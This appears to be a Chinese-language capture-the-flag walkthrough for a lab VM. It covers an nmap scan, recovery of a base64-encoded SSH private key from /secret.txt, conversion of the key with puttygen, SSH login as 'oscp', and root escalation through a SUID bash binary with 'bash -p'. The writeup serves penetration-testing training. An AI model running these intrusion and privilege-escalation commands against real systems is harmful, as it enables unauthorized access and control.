nmap扫描端口 ---- 网站默认页面提示系统用户名 ---- /secret.txt中发现base64加密的私钥 ---- 转换私钥格式 ---- bash suid提权
环境信息:靶机:192.168.101.96
攻击机:192.168.101.34
具体步骤: 1、nmap扫描端口sudo nmap -sV -sC -p- 192.168.101.96
扫描到tcp 22、80、33060端口
浏览器访问http://192.168.101.96/发现提示:本靶机唯一用户名为oscp
Oh yea! Almost forgot the only user on this box is “oscp”.
仔细观察nmap扫描结果,发现网站有robots.txt文件,其中包含/secret.txt
浏览器访问http://192.168.101.96/secret.txt,发现一段base64编码的文本
如果直接复制这段文本解码,解码后会有多余的换行。可以用以下两个方法进行解码,以得到没有多余换行的文本。
方法1:利用tr和sed先将网页上的文本复制粘贴,保存为文件b64,然后执行如下命令,先将换行转换为空格,再去掉空格,最后再base64解码
cat b64 | tr '\n' ' ' | sed 's/ //g' | base64 -d
直接curl获取网页内容,然后base64解码
curl http://192.168.101.96/secret.txt | base64 -d
得到的结果和方法1一样的,就不截图了
4、转换私钥格式将上一步中的结果保存为private
修改private权限为0600
chmod 0600 private
尝试ssh登录
ssh oscp@192.168.101.96 -i private
结果登录失败,显示private的格式不正确
Load key "private": invalid format
百度了一下END OPENSSH PRIVATE KEY,发现转换格式的方法:ssh-keygen 生成的key以“BEGIN OPENSSH PRIVATE KEY”开头_盖世英雄呀的博客-CSDN博客
命令行执行
puttygen private -o tempkey.ppk
puttygen tempkey.ppk -O private-openssh -o id_rsa
此时id_rsa如下
再次尝试ssh登录
ssh oscp@192.168.101.96 -i id_rsa
登录成功
查看所有有suid权限的命令,发现bash有suid权限
find / -user root -perm /4000 2>/dev/null
输入如下命令提权到root,并在/root下发现flag.txt
bash -p